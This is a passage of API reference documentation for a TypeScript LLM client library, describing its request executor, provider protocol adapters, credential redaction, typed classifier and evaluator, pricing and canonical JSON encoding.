| `makeWith(transport, options?)` | constructor               | `Effect<RequestExecutor>` over a transport it may replace, bounded by `MakeOptions`.                                                                                                                                                                                                                                                       |
| `make`                          | constructor               | `Effect<RequestExecutor, never, HttpClient>` around the kernel HTTP client in context.                                                                                                                                                                                                                                                     |
| `layer`                         | layer                     | `Layer<RequestExecutor, never, HttpClient>`: provides the executor, requiring the kernel HTTP client.                                                                                                                                                                                                                                      |

The kernel HTTP boundary returns structural permission data. The executor uses
`@smthrs/capability`’s `decodePermissionError` to reconstruct the yieldable error
class with its capability, request identity and suspension metadata. Callers
receive the existing `RequestError` union; transport payload object identity is
not preserved.

The retry ladder: by default one call makes at most three attempts (the first
plus two retries), starting at 500 ms, doubling, jittered, capped at 10 s per wait and
60 s in total. Only a retryable error is retried. A `Retry-After` or
`retry-after-ms` header replaces the computed wait and is slept in full, so no
retry reaches the provider early; a provider wait larger than the whole 60 s budget is not
slept at all, and the error surfaces immediately with its `retryAfterMillis`,
`resetAtEpochMillis`, and `resetSource` so the caller can park durably
instead of holding the process.

HTTP status classification maps 401 and 403 to `authentication`; 402 and the
quota vocabulary to `quota_exceeded`; 429 to `rate_limited`; content-policy
wording to `content_policy`; overflow wording to `context_overflow`; 400,
404, 409, 413, and 422 to `invalid_request`; 5xx to `provider_internal`;
anything else to `unknown`. The executor and built-in protocols share these
rules, including bare 402 responses and incorrect API key wording. Anthropic
overrides 529 and overload errors to `rate_limited`. A protocol's
`classifyError` code wins when it is more specific than `unknown`; otherwise
the executor keeps the shared classification. Protocol diagnostics are retained.
Reset instants are also read from the
`x-ratelimit-reset-*` and `anthropic-ratelimit-*-reset` header families and
from reset fields in a JSON error body, preferring the exhausted resource's
window so a parked run wakes exactly once.

Diagnostics are scrubbed twice. Values the package knows to be credentials
are removed literally, in raw, URL-encoded, JSON-escaped, and Base64 forms
(including URL-safe Base64). A JSON
error body is additionally walked and every value under a credential-shaped
key is replaced at any depth. A failed response body stops being read at
64 KiB, so nothing beyond that is held, parsed, classified, or redacted; the
recursive walks stop at depth 12, where a redacted subtree is replaced whole;
and the text kept on the error is capped at 16 KiB, reachable as
`ModelError.body` with `ModelError.bodyTruncated` set when either cap bites.

`Auth.credentialHeaders` designates headers added by signing, including custom
names. `apiKeyHeader` and `bearer` set it automatically. Custom Auth values
should list any credential headers outside the shared matcher. `Auth.withRedaction`
adds these names and the shared matcher to `Headers.CurrentRedactedNames` while
preserving the caller's policy. Routes apply it around signing and HTTP execution.

The HTTP client records no request or response header on its span, so a request
trace carries no credential. A host that sets `HttpClient.TracerHeaderFilter` to
record headers gets these headers as `<redacted>`, including
`chatgpt-account-id`.

A route's endpoint cannot carry a credential, but the executor takes any
request. On its HTTP span, a query parameter whose name is a credential reads
`<redacted>` in `url.full` and `url.query`. A span that failed records the
error's tag alone (see [Span failures](#span-failures)), never the HTTP
client's own error, which prints the url as sent. A host's
`HttpClient.SpanNameGenerator` receives the same redacted request.

`RequestExecutor.errorSanitizer(request)` captures the signed request's credential
values and active header policy. Routes retain that sanitizer through response
consumption, including after credential refresh. HTTP 200 protocol failures have
every free-form `ModelError` string field scrubbed and capped at 16 KiB before
reaching callers. Error codes and numeric retry metadata retain their meaning.

## `AnthropicMessages`

Anthropic Messages request lowering and streaming event parsing.

| Export     | Kind     | Behavior                                                                                                                                                                         |
| ---------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Body`     | schema   | The deterministic `POST /v1/messages` body. `max_tokens` is required by the API; the lowering fills it from `params.maxTokens`, defaulting to `4096`. `stream` is always `true`. |
| `protocol` | protocol | Id `anthropic-messages`. SSE framing, supports the native deferred-tool allowlist, and flushes unfinished parts on stream end.                                                   |

### Prompt caching

Anthropic caches only at explicit `cache_control` breakpoints, and a request
reads an entry only where an earlier request wrote one. The lowering spends
two of the four breakpoints a request allows, both with the default
five-minute TTL:

- The last system block, which also covers the tools rendered before it.
  Without a system prompt, the last immediately loaded tool.
- The last block that can carry one (not a thinking block) in the last of the
  first `cacheBoundary` messages, or the last message when `cacheBoundary` is
  unset. Messages the lowering drops are counted before they are dropped.

A caller that appends a volatile block after its transcript sets
`cacheBoundary` to the transcript length. `CellTurn` does this for its state
section, so each frame's breakpoint lands on bytes the next frame repeats and
moves forward a few blocks per frame, well inside Anthropic's 20-block
lookback. Live on `claude-opus-5` (2026-09-24), a five-frame run with a
4,378-token prefix wrote it once and read it back on every later frame:

```text
frame  cache_write  cache_read  input
0      4378         0           16
1      39           4378        16
2      38           4417        16
3      38           4455        16
4      38           4493        16
```

A prefix shorter than the model's minimum cacheable length (512 to 4,096
tokens depending on the model) is not cached and costs nothing extra.

Lowering specifics: `stopSequences` are sent only when non-empty;
`thinkingBudget` becomes `thinking: { type: "enabled", budget_tokens }`. An
assistant turn with `stopReason` `"aborted"` or `"error"` is omitted from the
next request as a unit, because replaying a provider-interrupted turn can
make the request permanently invalid. Thinking blocks replay only with their
signature; a redacted block round-trips through a `redacted:` signature
prefix. Tool-call argument text that is not a JSON object fails preparation
as `invalid_request`. A non-empty request whose first lowered message is an
assistant message also fails preparation as `invalid_request`, with path
`messages[0].role`, before any network call. Stop reasons map `end_turn`, `stop_sequence`, and
`pause_turn` to `"stop"`; `max_tokens` to `"length"`; `tool_use` to
`"tool-calls"`; `refusal` to `"content-filter"`. `message_stop` is the
`terminal` predicate, so the route stops pulling there. Classification recognizes
Anthropic's HTTP 400 "credit balance is too low" wording as
`quota_exceeded`, and `overloaded` and 529 as `rate_limited` so the agent can park durably.

## `OpenAIResponses`

OpenAI Responses request lowering and SSE event handling.

| Export            | Kind      | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| ----------------- | --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Body`            | schema    | The Responses request body. `stream` is always `true`.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `ChatGPTBody`     | schema    | The body narrowed to the ChatGPT-subscription surface: `store` must be `false`, `include` is exactly `["reasoning.encrypted_content"]`, and `max_output_tokens` is absent because the backend rejects it.                                                                                                                                                                                                                                                                                                      |
| `State`           | interface | What the adapter carries between events: partially assembled tool calls, opened ids, and the response identity a continuation replays.                                                                                                                                                                                                                                                                                                                                                                         |
| `protocol`        | protocol  | Id `openai-responses`. Reasoning continuation by stored item reference.                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `chatgptProtocol` | protocol  | Id `openai-responses-chatgpt`. The same SSE stream and usage counters, with reasoning continuation carried in `encrypted_content` and a request's `cacheKey` sent as both `prompt_cache_key` and the `session-id` header the backend derives cache affinity from. The route echoes the backend's `x-codex-turn-state` response header on every later request with the same `cacheKey`, outside the sealed request view. Native deferred tools only for the GPT-6 ids probed live on this backend (2026-09-24). |

Lowering specifics: the system prompt joins into `instructions` with
newlines; `reasoningEffort` becomes `reasoning.effort`; an aborted or errored
assistant turn is omitted. Stored reasoning item ids replay as
`item_reference` entries on the API-key protocol, and as whole encrypted
reasoning items on the ChatGPT protocol, where item references would fail.
`response.completed` settles `"stop"` or `"tool-calls"`; `response.incomplete`
settles `"content-filter"` when its reason is `content_filter` and `"length"`
otherwise. Both terminal events carry the response id and its usage counters,
and both are the protocol's `terminal` predicate, so the route stops pulling
there. A function call still open at `response.completed` closes from the
final response `output` through the same strict argument validator a done
event uses; a call the final output does not finish fails the stream as
`invalid_provider_output` instead of settling a tool turn.

## `OpenAIChatCompletions`

OpenAI Chat Completions request lowering and SSE event handling: the older,
widely cloned OpenAI wire shape that Ollama, Gemini's compatibility layer,
Cerebras, and most other "OpenAI-compatible" servers implement.

| Export                   | Kind        | Behavior                                                                                                                                                                                         |
| ------------------------ | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Body`                   | schema      | The Chat Completions request body. `stream` is always `true` and `stream_options.include_usage` is always set, so usage arrives on the stream. `reasoningEffort` becomes `reasoning_effort`.     |
| `ResponseFormat`         | schema      | The `response_format` field that turns on native structured output: a named JSON Schema with a `strict` flag.                                                                                    |
| `StructuredOutput`       | interface   | `{ name, schema, strict? }`. Presence is the toggle: a route built without it leaves schema enforcement to the prompt. `strict` defaults to `true`.                                              |
| `State`                  | interface   | What the adapter carries between chunks: whether the single id-less text part has opened, and the in-flight tool calls keyed by stream position, because a delta only repeats the array `index`. |
| `protocolWith(options?)` | constructor | Builds the protocol, optionally with native structured output. Without the option the lowering is byte-for-byte the historical one, so existing sealed step keys are unchanged.                  |
| `protocol`               | protocol    | `protocolWith()` with structured output off. Id `openai-chat-completions`.                                                                                                                       |

A route configured with `structuredOutput` preserves declared tools alongside
`response_format`. `toolChoice: "none"` omits tools. Finish reasons map `stop`, `length`, `tool_calls`, and
`content_filter` onto the matching stop reasons; only `stop` normalizes to
`"tool-calls"` when a call completed, since Gemini finishes a successful tool
turn that way, while `length` and `content_filter` after a completed call stay
what they are. The final usage chunk is the `terminal` predicate: OpenAI and
Ollama send it separately with no choices; Cerebras includes usage in the
finish chunk. Both end the stream without waiting for HTTP EOF. A finish
without usage still waits for the trailing counters. `[DONE]` never reaches
the protocol. A purely numeric provider
code in the HTTP range stands in for a missing status, which is how a gateway
that reports `{"error":{"code":429}}` inside an HTTP 200 stream still
classifies as `rate_limited`.

`params.reasoningEffort` is sent as `reasoning_effort`, and an unstated effort
leaves the field out so the provider's own default stands. This is a
deliberate change to this route's canonical bytes: a request that states an
effort now keys differently from the same request before it. Cerebras's
`qwen-3.8-27b` reasons at `high` when the body says nothing, so until the
field was sent a stated effort bought nothing and the caller paid for
reasoning it had declined. `topK`, `stopSequences`, and `thinkingBudget` are
still dropped.

## `OpenAIChatGPT`

Route construction for OpenAI's ChatGPT-subscription Responses backend, the
deployment the codex CLI speaks.

| Export                               | Kind        | Behavior                                                                                                                                                                                     |
| ------------------------------------ | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `defaultBaseUrl`                     | constant    | `https://chatgpt.com/backend-api`. The Responses call is served at `/codex/responses` under it, with no `/v1` prefix.                                                                        |
| `clientHeaders`                      | constant    | The client identity headers the backend was confirmed against: `accept: text/event-stream`, `openai-beta: responses=experimental`, `originator: codex_cli_rs`, and the codex CLI user agent. |
| `make({ auth, baseUrl?, headers? })` | constructor | `Result<Route, ModelError>` with id `openai-chatgpt`. Extra headers merge over `clientHeaders`.                                                                                              |

The credential is an OAuth access token plus a `chatgpt-account-id` header,
both rotating, so the route takes a composed `Auth` rather than a redacted
key: the host owns the token store and its refresh. The backend rejects
`max_output_tokens` outright and offers no other output cap, so a request
that sets `params.maxTokens` fails in `Route.prepare` as `invalid_request`
with `path: "params.maxTokens"`, before signing and transport, rather than
being sent without the budget the caller asked for. Omit `maxTokens` on this
route; every other route sends it.

## `DeferredTools`

Replay-safe policy for native deferred provider tool loading.

| Export                                  | Kind      | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| --------------------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `ProtocolId`                            | type      | `"anthropic-messages" \| "openai-responses" \| "openai-responses-chatgpt"`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `Resolution`                            | interface | `{ immediate, deferred, activatedNames }`: the tool partition derived from a sealed request.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `supportsDeferred(protocolId, modelId)` | predicate | Answers from explicit per-protocol allowlists, matched case-insensitively. GPT-6 Sol, GPT-6 Astra, and GPT-6 Luna answer `true` on both OpenAI protocols, from OpenAI's tool search guide and a live probe recorded 2026-09-24 in `test/fixtures/gpt6-deferred-probe.json`. GPT-6.1 Sol answers `true` on the API-key protocol only, from the guide; it has not been probed on the ChatGPT backend. An unlisted model, including a family released after this code, answers `false` and receives every tool through the portable lowering, because native deferral changes the wire body and an unverified body must not ship without a release. |
| `resolve(request, native)`              | operation | Derives the partition from declared `deferred` annotations and the chronological transcript only: tool calls made, and `addedToolNames` activations. No process-local state is consulted, so replay produces the identical partition.                                                                                                                                                                                                                                                                                                                                                                                                            |

Without native support, deferred tools arrive as ordinary definitions once
activated or once used before their activation. With native support, lazy
tools lower with the provider's defer flag, a `loader` tool stays immediate,
and a partition with no immediate tools collapses to all-immediate.

## `ToolStream`

Pure accumulation of fragmented provider tool-call arguments.

`OpenToolCall.fragments` is an immutable `Chunk<string>` in arrival order.
Deltas share prior chunks without copying all previous fragments; completion
and abort settlement flatten the chunks once. Earlier states remain reusable.
Use `Chunk.toReadonlyArray(call.fragments)` when an array is needed.

| Export                           | Kind        | Behavior                                                                                                                                                                                                                                                                                                                                    |
| -------------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `State`                          | interface   | `{ open: OpenToolCall[] }`: the accumulator.                                                                                                                                                                                                                                                                                                |
| `OpenToolCall`                   | interface   | `{ callId, name, fragments }`: an unfinished call.                                                                                                                                                                                                                                                                                          |
| `Completed`                      | interface   | `{ callId, name, arguments }`: a finished call with validated argument text.                                                                                                                                                                                                                                                                |
| `EndResult`                      | type        | `{ state, completed } \| ModelError`.                                                                                                                                                                                                                                                                                                       |
| `FlushResult`                    | interface   | `{ state, completed[] }`.                                                                                                                                                                                                                                                                                                                   |
| `initial()`                      | constructor | An empty accumulator.                                                                                                                                                                                                                                                                                                                       |
| `start(state, { callId, name })` | operation   | Opens a call, replacing any stale entry with the same id.                                                                                                                                                                                                                                                                                   |
| `delta(state, callId, fragment)` | operation   | Appends an argument fragment.                                                                                                                                                                                                                                                                                                               |
| `end(state, callId)`             | operation   | Completes a call. Empty fragments complete as `"{}"`. An unknown id fails with `invalid_provider_output` (`Received completion for unknown tool call <id>`), and reassembled text that is not a JSON object fails the same way (`Invalid JSON input for streamed tool call <name>`), because a live stream must not hand a guess to a tool. |
| `flushAborted(state)`            | operation   | Settles every open call after a stream halt, preserving partial text verbatim for the journal. This is the non-executing half of the split: built-in lowerings omit aborted turns from continuations, while a live completion still passes the strict validator.                                                                            |

## `Classifier`

Typed questions about a JSON state, answered by Jev through an `Evaluator`.
A host declares a classifier once and gets typed answers: a choice's option
names become a literal union, a score's rungs become its labels.

```ts
import { Classifier, Evaluator } from "@smthrs/model"
import { Config, Effect, Schema } from "effect"

const Relevance = Classifier.make("triage/relevance", {
  description: "Whether a file must change for the task, and its role.",
  state: Schema.Struct({ task: Schema.String, file: Schema.String, excerpt: Schema.String }),
  questions: {
    relevant: Classifier.boolean({
      instructions: "Does this file need to change for the task?",
      criteria: { true: "the fix or its test lives here", false: "unrelated or only imported" }
    }),
    role: Classifier.choice({
      instructions: "What is this file's role?",
      criteria: {
        implementation: "code under test",
        fixture: "test data or setup",
        unrelated: "nothing to do with the task"
      }
    }),
    risk: Classifier.score({
      instructions: "How risky is editing this file?",
      criteria: ["none", "low", "medium", "high"]
    })
  }
})

const program = Effect.gen(function*() {
  const answer = yield* Relevance.evaluate({ task, file, excerpt })
  const many = yield* Relevance.evaluateAll(states, { concurrency: 8 })
  return Classifier.confident(answer.role, 0.7)
})

const live = Evaluator.layerVercelGateway({ apiKey: Config.Redacted("AI_GATEWAY_API_KEY") })
```

| Export                                        | Kind        | Behavior                                                                                                                                                                                                                                                                                                                                   |
| --------------------------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `make(id, { description, state, questions })` | constructor | Returns `{ id, description, state, questions, digest, evaluate, read, evaluateAll }`. `digest` is the SHA-256 of the canonical JSON of `{ id, questions }` with the questions in the wire form `Evaluator.encodeQuestions` writes, so a durable call key that folds it in never replays an answer to a question that has since changed.    |
| `boolean({ instructions, criteria? })`        | constructor | A yes/no question. `criteria` says what each side means.                                                                                                                                                                                                                                                                                   |
| `choice({ instructions, criteria })`          | constructor | One of the named options in `criteria`, 2 to 255 of them. Fewer or more fails the field's schema check, which throws at construction.                                                                                                                                                                                                      |
| `score({ instructions, criteria })`           | constructor | A position along an ordered rubric of at least 2 distinct rungs. Fewer, or a repeated rung, fails the field's schema check, which throws at construction.                                                                                                                                                                                  |
| `evaluate(state)`                             | method      | `Effect<AnswersOf<questions>, ClassifierError, Evaluator>`. Encodes the state through its schema, sends one request, decodes the raw answers against the questions.                                                                                                                                                                        |
| `read(state)`                                 | method      | `Effect<Reading<questions>, ClassifierError, Evaluator>`. Sends exactly the request `evaluate` sends, and answers what the reading cost beside its answers.                                                                                                                                                                                |
| `Reading<Qs>`                                 | interface   | `{ answers: AnswersOf<Qs> }` with every other field of `Evaluator.Response`: `usage?`, `latencyMs`, `timing?`, `confidence?`, `decidedBy?`, `responseId?`, `servedTier?`.                                                                                                                                                                  |
| `evaluateAll(states, { concurrency? })`       | method      | `Effect<ReadonlyArray<Result<AnswersOf<questions>, ClassifierError>>, never, Evaluator>`. One request per state, at most `concurrency` in flight (`defaultConcurrency`, 8), results in the states' order, each state's failure its own.                                                                                                    |
| `BooleanAnswer`                               | interface   | `{ value: boolean; probability: number }`. `value` is `probability >= 0.5`.                                                                                                                                                                                                                                                                |
| `ChoiceAnswer<Key>`                           | interface   | `{ value: Key; probabilities: Record<Key, number>; confidence: number }`. `confidence` is the largest probability in the distribution.                                                                                                                                                                                                     |
| `ScoreAnswer<Label>`                          | interface   | `{ value: number; label: Label; probabilities: Record<string, number>; confidence: number }`. `value` is the score as Jev gave it, interpolated over zero-based rung indexes; `label` is the nearest rung; `probabilities` is keyed by rung label whether the wire keyed it by label or by index; `confidence` is the largest probability. |
| `AnswerOf<Q>`, `AnswersOf<Qs>`                | types       | The answer a question infers, and the answers a question map infers.                                                                                                                                                                                                                                                                       |
| `confidence(answer)`                          | getter      | 0 to 1: a boolean's distance from even odds doubled, `abs(p - 0.5) * 2`; a choice's or score's `confidence`.                                                                                                                                                                                                                               |
| `confident(answer, floor)`                    | getter      | `Option` of the answer's value when `confidence(answer) >= floor`.                                                                                                                                                                                                                                                                         |
| `decodeAnswers(questions, raw)`               | decoding    | `Effect<AnswersOf<questions>, ClassifierError>`. Shared by the typed path and the ad-hoc path.                                                                                                                                                                                                                                             |
| `Question`, `Answer`                          | schemas     | Effect Schemas for the ad-hoc path: a model-authored question is decoded with `Question` (the same value as `Evaluator.Question`, construction limits included) before it reaches the transport, and a decoded answer in any of the three shapes matches `Answer`.                                                                         |
| `ClassifierError`                             | error       | `{ code, status?, resetAtEpochMillis?, message, usage? }` with `code` from `Evaluator.EvaluatorErrorCode`; `usage` is what the reading paid, kept from the transport's failure or from an answer the classifier could not decode. Typed, never thrown.                                                                                     |

Decoding is strict. Every question needs an answer of its own type; a
boolean's probability and every distribution entry lie in `[0, 1]`; a choice
names one of its options; a score lies within the rubric's index range.
Anything else fails as `invalid_answer`, naming the question. A state the
schema does not encode fails as `invalid_question`. A distribution the
transport did not send is one-hot on the chosen option or nearest rung, so
`confidence` reads 1; a caller that has to tell the two apart keeps the raw
`Evaluator.Response`.

A score distribution uses one key format throughout. When every key is a valid
zero-based rung index, decoding uses indexes, including when numeric labels
overlap those indexes. Otherwise every key must be a declared rung label.
Missing entries become zero; a dictionary that fits neither format fails as
`invalid_answer`. This follows Jev's indexed response while accepting
unambiguous label-keyed responses from other evaluators.

`Classifier.make` snapshots and freezes the question map, questions and nested
criteria. Mutating the caller's declaration cannot change the evaluated questions
or answer decoding under the original digest.

Question names, option names and rubric labels are JSON object keys, including
`__proto__`, `constructor` and `toString`. Decoding reads only own properties
and preserves these names in the answer and probability records.

## `Evaluator`

The transport a classifier asks: one JSON state and a map of typed questions
go out, one raw answer per question comes back. Flow hosts use `layerFromSeat`
with their existing subscription resolver and reject malformed verdicts.

`layerVercelGateway` remains an explicit library adapter for consumers of Jev's
HTTP evaluation protocol. It reads no environment configuration and is never
selected by a flow host or used as a subscription fallback.

`EvaluatorBackup.withFallback(primary, backup)` asks the backup only when the
primary is unreachable, times out, or refuses with a 5xx or 429. An
unconfigured primary (for example, no `AI_GATEWAY_API_KEY`) fails with its own
typed `unconfigured` error and never falls back. When both evaluators fail,
the backup's failure is retained. A primary 429 still
takes precedence over a backup transport or configuration failure, while
retaining the backup's actual paid usage. A primary failure carrying paid
usage never calls the backup, avoiding a second paid reading.

`EvaluatorBackup.fromModel(model, modelId)` judges through any `Model` with
`layerFromSeat`, with no tools, at `reasoningEffort: "medium"`. GPT-6 Luna at
`low` spends no reasoning tokens and misread a finished completion as not done
in 10 of 12 readings on 2026-10-13. The prompt tells the seat that a boolean
`probability` is the chance the answer is yes, because a seat told only
"probability" answers its confidence and flips a question asked in the
negative. Its response carries `decidedBy: "seat"`.

A generation seat reads a question's criteria word for word, which is not
always how Jev reads them. A request may therefore carry a `seatNote`: one
paragraph saying how a seat should read the questions' words.
`Classifier.make(id, { ..., seatNote })` puts it on every request the
classifier sends, and `layerFromSeat` appends it to the instructions above.
`layerVercelGateway` never sends it, and `Classifier.digest` does not cover
it, so nothing Jev is sent and no durable key changes.

`layerFromSeat` also reads a verdict the seat wrapped in one Markdown code
fence. Text before or after the JSON still fails `invalid_answer`.

| Export                                                                                                                                                   | Kind                      | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| -------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Evaluator`                                                                                                                                              | service interface and tag | `evaluate({ state, questions }) => Effect<{ answers, confidence?, usage?, latencyMs, decidedBy?, timing?, responseId?, servedTier? }, EvaluatorError>`. `confidence` is the provider's own number per question, read from `providerMetadata.typesafe.confidence` and absent when the transport sent none. `usage` is `{ inputTokens, outputTokens, modelId? }`; `modelId` names the model that read, which prices it. `decidedBy` is `seat` when `layerFromSeat` answered, else absent. `timing` is the reading's [wire timing](#wire-timing): `layerFromSeat` copies it, with `responseId` and `servedTier`, from the seat call's `settle` event, and `layerVercelGateway` times its own request (`attempts`, `requestBytes`, `preparedMs`, `signedMs`, `sentMs`, `headersMs`, `closedMs`, `failedTries`; one JSON body has no stream stages). Tag id `/model/Evaluator`. |
| `layerVercelGateway(options)`                                                                                                                            | layer                     | Jev through the Vercel AI Gateway over the kernel `HttpClient`. One request and one deadline per evaluation; refusals and connection failures return to the durable caller for retry scheduling. Options: `apiKey` (a `Redacted` or a `Config` read at construction), `model` (`typesafe-ai/jev`), `timeoutMs` (3000), `attempts` (deprecated; ignored), `zeroDataRetention` (true), `baseUrl` (`https://ai-gateway.vercel.sh/v4/ai/evaluation-model`, validated by `Endpoint.makeSecure` before the key is signed onto it; an invalid one fails `unreachable` without a request). A 200 body is read up to `maxResponseBytes` (1 MiB) and fails `empty` past it. Every request runs as a `model:call` on the model.                                                                                                                                                       |
| `layerScripted(script)`                                                                                                                                  | layer                     | Answers from `(request) => answers` or `(request) => Effect<answers, EvaluatorError>`. A scripted answer may omit its `type`; the layer fills it from the question and decodes the result like a gateway body, so a script answering the wrong shape fails as `invalid_answer`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `layerFromSeat(seat, { timeoutMs? })`                                                                                                                    | layer                     | Judges through an existing resolved seat's model and credentials. Accepts `{ modelId, model }`, including subscription seats. No gateway key or alternative auth path. Invalid, missing, out-of-range and truncated verdicts fail closed. Rate and quota limits become `refused` with `status: 429` and the reset time when known; provider diagnostics stay redacted. The default deadline is 120 seconds.                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `layerUnavailable()`                                                                                                                                     | layer                     | Fails every request as `unreachable`; a classifier outage fixture, and the binding for a host composed to drive no run, never a completion-capable host's default.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `Question`, `RawAnswer`, `RawAnswers`                                                                                                                    | schemas                   | The wire shapes. A boolean answer is `{ type: "boolean", probability }`, a choice `{ type: "choice", choice, probabilities? }`, a score `{ type: "score", score, probabilities? }`. The question schema enforces 2 to 255 choice options and at least 2 distinct score rungs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `EvaluatorErrorCode`                                                                                                                                     | schema                    | `unconfigured` (no gateway key and no subscription judge, a policy fault), `unreachable` (no response), `refused` (a status other than 200, 400 or 422, kept in `status`), `empty` (a 200 whose body carried no answers or could not be read), `timeout` (this call's deadline), `invalid_answer`, `invalid_question` (a 400 or 422, or a rejected question).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `EvaluatorError`                                                                                                                                         | error                     | `{ code, status?, resetAtEpochMillis?, message, usage? }`. Evaluation failures, including missing subscriptions, are typed. `usage` is what a reading that failed after it was metered paid.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `defaultBaseUrl`, `defaultModel`, `defaultTimeoutMs`, `defaultAttempts`, `retryBackoffMs`, `maxResponseBytes`, `protocolVersion`, `specificationVersion` | constants                 | The gateway defaults, the 1 MiB answer cap, and the protocol versions sent as `ai-gateway-protocol-version` (`0.0.1`) and `ai-evaluation-model-specification-version` (`4`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |

The wire protocol is the AI SDK gateway provider's own, as recorded on
2026-09-17. Vercel may change it without notice; a changed response surfaces
as `empty` or `invalid_answer`, never as a guessed answer. The request body
is `{ state, questions, providerOptions: { gateway: { zeroDataRetention } } }`
and the gateway key rides in the `authorization` header. Request traces record
no header by default and redact this one when a host records headers.

The encoded state must be a JSON value. Values that JSON would discard or
reshape, including `undefined`, `bigint`, non-finite numbers, cycles and class
instances, fail as `invalid_question` before an HTTP request is sent. A typed
classifier may use a codec with a non-JSON decoded value when its encoded
representation is valid JSON.

The gateway accepts string, array and object states directly. For a number,
boolean or `null`, this transport sends `{ state: originalValue }` and prefixes
each question's instructions to ask about the original value, not the wrapper.
The caller's state and questions are unchanged; batch results retain the
original state.

## `ModelCatalog`

Static facts about known provider models, read from a model id alone.

| Export                              | Kind     | Behavior                                                                                                                                                                                                                                   |
| ----------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `contextWindowTokensFor(modelId)`   | resolver | The context window in tokens, matched case-insensitively against the id. A million-token row is anchored to the bare id, so a cloud-prefixed or suffixed id falls through to the conservative row. Unknown ids answer 128,000, never zero. |
| `knownContextWindowTokens(modelId)` | resolver | The same match, but `undefined` for an id no row names, so a caller that must not show an unmeasured window can omit it.                                                                                                                   |

`@smthrs/agent` re-exports this as `SeatResolver.contextWindowTokensFor`, and
the built-in harness calls it for the compaction budget of a seat whose host
supplies no `contextWindowTokensFor` callback of its own.

## `Pricing`

USD prices per million tokens, from the one rate card in the tree
(`src/internal/prices.generated.ts`). `inputTokens`
includes cache reads and cache writes; each class is charged at its own rate.

| Export                             | Kind     | Behavior                                                                                                                                                                                                    |
| ---------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `table`                            | constant | Every priced model, keyed by wire model id. Spread it with your own rows to override a model or seat.                                                                                                       |
| `lookup(modelId, { table?, at? })` | resolver | The rate card in effect at `at`: an exact row, else the bare model of a seat (`openai:gpt-5.6-sol`) or gateway id (`anthropic/claude-sonnet-5`), else a dated snapshot's family. `undefined` when unpriced. |
| `weigh(usage, rates)`              | function | The rate-weighted token sum. `NaN` for missing input or output counts, invalid counters, or cache classes larger than the input count.                                                                      |
| `costUsd(usage, price)`            | function | USD for one call. A long-context card prices the whole call from its threshold.                                                                                                                             |
| `cost(usage, modelId, options?)`   | function | `{ costUsd, costSource }`: `"reported"` when the usage carries a valid provider charge, else `"estimated"` from the rate card; `undefined` when neither exists.                                             |

Arithmetic overflow leaves estimated usage unpriced: `weigh` and `costUsd`
return `NaN`, and `cost` returns `undefined`. A valid provider-reported cost
still takes precedence.

`@smthrs/agent`'s `Budget` writes `costUsd` and `costSource` on each usage
record and spend-ledger entry, and takes `prices` rows over `table`.

## `CanonicalJson`

Deterministic JSON encoding for model-step inputs.

| Export             | Kind     | Behavior                                                                                                                            |
| ------------------ | -------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `stringify(value)` | encoding | Serializes with recursively sorted object keys; array order is retained.                                                            |
| `bytes(value)`     | encoding | The canonical encoding as UTF-8 bytes.                                                                                              |
| `shortHash(input)` | hashing  | A dependency-free, deterministic two-lane hash, kept so synthetic OpenAI tool-search call ids stay stable across transcript replay. |

`stringify` is stricter than `JSON.stringify` on purpose. A value
`JSON.stringify` would drop or reshape (`undefined`, a function, a symbol, a
non-finite number, a class instance such as `Date` or `Map`, a symbol-keyed
member, a cycle, or an array that is sparse, carries named or symbol-keyed
members (such as a `RegExp` match result), or is an Array subclass or from
another realm) is rejected with `TypeError: Value at <path> is not valid
JSON`, because a model request body is sealed-step key material and the key
must describe the bytes sent. Everything both encoders accept they encode
identically, including an own member literally named `__proto__`. The
[`@smthrs/canonical` encoder](/docs/reference/api/canonical/) mirrors `JSON.stringify` and is
the right choice everywhere that is not a provider request body.

Provider framing has two finite budgets. `Framing.sse` and `Framing.ndjson`
accept at most 4 MiB per record and 64 MiB per complete raw response, both
inclusive. `Framing.makeSse` / `makeNdjson` accept `maxRecordBytes` and
`maxResponseBytes` overrides; each must be a positive safe integer.

